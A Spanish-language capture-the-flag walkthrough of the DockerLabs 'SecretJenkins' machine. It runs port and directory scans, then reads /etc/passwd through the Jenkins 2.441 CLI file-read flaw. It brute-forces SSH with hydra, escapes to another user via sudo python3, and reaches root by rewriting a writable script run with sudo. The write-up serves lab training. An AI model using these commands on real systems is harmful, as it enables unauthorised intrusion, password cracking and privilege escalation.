SecretJenkins - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | El Pingüino de Mario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)8080(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.nmap -p22,8080 -sCV 172.17.0.2 -oG targeted
Exploración Web
En el puerto 8080 encontramos un servidor Jenkins que muestra un panel de inicio de sesión.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Explorando las rutas, verificamos que la versión de Jenkins es 2.441.
LFI
La versión 2.441 de Jenkins es vulnerable a un LFI, según la vulnerabilidad documentada en GitHub
Para explotarla, descargamos el archivo jenkins-cli.jar:
http://172.17.0.2:8080/jnlpJars/jenkins-cli.jar
Con este archivo, ejecutamos el siguiente comando para intentar leer el archivo /etc/passwd:
java -jar jenkins-cli.jar -s http://172.17.0.2:8080/ -http connect-node "@/etc/passwd"
Fuerza Bruta
Identificamos dos usuarios potenciales (pinguinito y bobby) y usamos hydra para realizar un ataque de fuerza bruta sobre SSH, encontrando una contraseña para bobby:
hydra -l bobby -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
La contraseña de bobby es chocolate.
Intrusion
Accedemos mediante SSH como el usuario bobby:
Al ejecutar sudo -l, notamos que bobby tiene permisos para ejecutar python3 como pinguinito .Utilizando GTFOBins sabemos cómo explotar estos binarios.
sudo -u pinguinito /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
Ahora estamos como el usuario pinguinito.
Escalada de privilegios.
Volvemos a ejecutar sudo -l, notamos que pinguinito tiene permisos para ejecutar python3 como root en /opt/script.py
.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Observamos que el archivo es propiedad de pinguinito, lo que nos permite modificarlo.
Para editarlo, usamos comandos de escritura ya que no están habilitados ni nano ni vim:
chmod 744 /opt/script.py
echo "import os" > /opt/script.py
echo 'os.system("bash")' >> /opt/script.py
Ejecutamos el script y obtenemos acceso como root: